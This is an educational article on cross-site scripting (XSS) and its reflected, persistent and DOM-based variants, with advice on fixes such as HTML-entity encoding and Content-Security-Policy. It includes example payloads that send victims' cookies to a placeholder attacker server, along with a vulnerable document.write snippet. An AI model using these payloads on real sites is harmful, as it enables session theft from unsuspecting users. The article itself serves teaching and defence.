Cross-site Scripting, also known as XSS, is a type of client-side code injection attack that exploits web browser features. Attackers can execute scripts in the victim’s browser with the aim of hijacking user sessions, modifying the application, redirecting the user to malicious sites, and more. XSS is constantly being included in the OWASP Top Ten Web Application Security Risks, a fact that reinforces the relevance of paying attention to this problem.
In order to get a more realistic view of this flaw, let’s imagine, for example, an online blog where it’s possible to write comments on posts so that there is an interaction between visitors and the authors of the publications. In this blog, when writing a comment on a post, the request is as follows:
POST /publicacao-xpto/comentario HTTP/1.1 Host: blog-vulneravel.com.br Cookie: sessao={VALOR} mensagem=Me+identifiquei+muito+com+essa+publicacao.
Once the request is made, a comment is added to the post. Given this, subsequent accesses to the page will have a response returned by the application server similar to:
HTTP/1.1 200 OK Date: Tue, 18 Apr 2021 10:37:03 GMT Server: {SERVIDOR} Connection: close Content-Type: text/html;charset=UTF-8 <html> <head> <title>Blog Vulnerável - Publicação</title> </head> <body> <div id=”comentarios”> <p>Me identifiquei muito com essa publicacao.</p> </div> </body> </html>
Now, taking into account that this blog is vulnerable to XSS in the comments field, once an attacker wants to take advantage of this flaw, he could submit a comment that looks like this:
POST /publicacao-xpto/comentario HTTP/1.1 Host: blog-vulneravel.com.br Cookie: sessao={VALOR} mensagem=<script>document.write(‘<img+src=”https://servidor-atacante.com/’%2bdocument.cookie%2b’”/>’)</script>
Note that HTML elements have been added that induce the application to write the src “https://servidor-atacante.com/+document.cookie” to an img tag on the page.
So, since the cookies of this application do not contain the HttpOnly flag set, the attacker would be able to collect the cookies of people who enter the publication in which the comment in question was submitted.
It’s also worth noting that if one of the victims of an XSS is an administrator or some other profile with privileges, the impact of the attack could be even greater.
Given a general understanding of what Cross-site Scripting is and its value to malicious individuals, we’ll look at a few variations below, namely: Reflected XSS, Persisted XSS, and DOM-based XSS.
Reflected XSS
Reflected XSS is the simplest variation of this type of vulnerability. It’s called this way because its exploitation involves making a request containing the script that will be reflected to those who execute it, i.e., the payload is sent and returned in a single HTTP request.
As an example, consider an e-commerce application and an authenticated user making purchases. Suppose that, from a successful phishing attack, this user (victim) accesses the following URL built by the attacker:
https://www.ecommerce.com.br/produtos?buscar=<script>document.location="https://servidor-atacante.com/"%2bdocument.cookie</script>
If the value of the “search” parameter in the previous URL is not properly handled, in a case of reflected XSS, such a request generates an HTML page that contains the following HTML snippet:
<p><script>document.location="https://servidor-atacante.com/"+document.cookie</script></p>
When this page is rendered by the browser, the code presented above will be executed, the user will be redirected to an attacker’s page and the attacker’s server will receive the user’s cookie values, thus proving the presence of reflected XSS.
In this way, reflected XSS arises the moment the application receives this data in the HTTP request and insecurely includes it in the response.
Persistent XSS
This category of XSS arises when a user manages to store data in the application, which will be fired to other users without proper treatment. Persistent XSS usually occurs in applications that perform information sharing between different users.
Unlike reflected XSS, persistent XSS involves at least two requests. The first request contains the data with malicious code, which will be stored by the application. The other request corresponds to the victim’s view, in which the malicious code is executed. This vulnerability is illustrated in the first section of this text, in the example of comments on blog posts.
Persistent XSS has an aggravating factor from a security perspective, since, in this case the attacker only needs to wait for the victim to access the page or functionality that contains the malicious script. Also, depending on where it’s triggered, it can be guaranteed that the victim is authenticated in the application at the time the attack is successfully executed.
DOM-Based XSS
DOM-Based XSS (or XSS DOM) occurs when the application contains scripts running on the client side that process data from an untrusted resource in an insecure way by writing it to the DOM (Document Object Model). Unlike the above, this type of XSS does not occur when user-controlled data is returned insecurely in the server response. In this case, the malicious code doesn’t go to the server since it occurs via the client side, interpreting the manipulated data and writing it as part of the DOM in the browser.
This occurs when an application-issued script is able to extract data from the URL, for example, process this data, and then use this to dynamically update the page content.
As an analogy, suppose the application returns a page with an error message that looks like this:
<!DOCTYPE html> {...} <script> var query = window.location.search; var params = new URLSearchParams(query); var result = params.get("mensagem"); document.write(result); </script> {...}
This script extracts the value of the message parameter that is present in the URL and writes that value to the HTML code of the page. If an attacker configures this URL, assigning a script to this parameter, this code will be dynamically written to the page and executed.
Correction
Protecting and preventing an application from Cross-site Scripting attacks requires thorough identification of every point at which a user has control of the data being manipulated. Therefore, to protect your application from such a vulnerability, it’s recommended that all information coming from third parties must be evaluated on the output and that any and all special characters must be converted to a specific set of characters called HTML Entities.
Still, this data can also go through a semantic evaluation, as well as avoid manipulation via DOM scripting, in order to bring extra verification/protection to the data coming from the application.
However, it’s worth noting that in an attempt to address this problem, the application’s back-end may try to prevent the exploit by making this particular malicious code (also called payload) non-functional. This can be done, for example, by the application or application firewall identifying a possible attack and thereby blocking the user’s input value. However, the attacker can investigate which characters or expressions are being blocked by the filter by deleting different parts of his script. Once this is done, he will try to look for any subversion that exists for this filter.
Another example would be the application accepting input but performing a “cleanup” or a particular encoding on the text. However, poorly implemented sanitizing filters are quite common means of attempted protection. As mentioned for the firewall, the attacker may be able to discover the characters and phrases blocked in this filter and analyze whether an attack is still feasible without directly employing these characters and phrases. As an illustration, if the application is removing the <script> tag, the attacker may use a different HTML tag that achieves the same result as in executing scripts in different tag events. One point worth noting in these cases of inbound processing is the possibility that old data may have been stored with malicious payloads even before this control of user-sourced data was implemented. Thus, blocking or sanitizing only inbound is ineffective.
Finally, in order to lessen the impact caused by XSS, it’s also possible to add an extra layer of security and use the Content-Security-Policy (CSP) or X-XSS-Protection headers.
The X-XSS-Protection response header should be used in case the application supports some legacy browsers, i.e., browsers that do not yet support the CSP header. It will prevent pages from loading when cross-site scripting attacks are detected in a reflected manner. Ideally, it’s recommended to configure the header so that XSS filtering is enabled and rendering of the page on which the attack was detected is prevented and is implemented as follows:
X-XSS-Protection: 1; mode=block
Although some browsers support X-XSS-Protection, the current recommendation is to use another HTTP header that is better suited and supported by a wider range of browsers. In this case, for modern browsers, the Content-Security-Policy (or CSP) response header should be used, which allows site administrators to block access to resources that violate the established policy, preventing attackers from including malicious scripts from untrusted domains. The header can be configured so that scripts and images are only allowed to be uploaded from the same source, as shown below:
Content-Security-Policy: default-src ‘self’
Another way to configure this header would be to use a list of trusted domains in order to include resources from other domains. As an illustration, the following configuration allows you to include any kind of resource from the same source and also from “domain-trusted.com.br” and its subdomains:
Content-Security-Policy: default-src ‘self’ *.dominio-confiavel.com.br
Given this, some methods adopted for protection against XSS can be subverted in several ways since the attacker will try to understand how the back-end is behaving. Therefore, as stated in the first part of this section, information coming from third parties must be evaluated in the output, and any special characters must be converted into HTML Entities. In order to protect itself from XSS DOM Based vulnerabilities, the application can avoid using client-side scripts for processing DOM data and avoid inserting these scripts into the application’s pages.
Conclusion
Throughout this text, we have been able to analyze what XSS is and how its variations differ and behave. We also saw that the most efficient model consists of converting the data to HTML entities on display, preventing the interpretation of such data as scripts to be executed in the context of the application. While this is interesting, it’s not enough for the application to perform certain filtering or validation on the input, as there can often be subversion that will lead to the application being compromised.
In addition, the data can be semantically validated, reinforcing the robustness of the application. It’s also important to avoid manipulation via DOM scripting when using user-sourced data.
Additionally, it has been seen that it’s possible to add an extra layer of security in applications and use Content-Security-Policy (CSP) or X-XSS-Protection response headers that can prevent the inclusion of malicious scripts from untrusted domains.
References
PortSwigger WebSecurity Academy. Cross-site scripting. Available at: https://portswigger.net/web-security/cross-site-scripting. Accessed on: 17 November 2021.
STUDDARD, Dafydd; PINTO, Marcus. The Web Application Hacker’s Handbook: discovering and exploiting security flaws. 2. ed. Indianapolis: John Wiley & Sons, Inc., 2011. 853 p.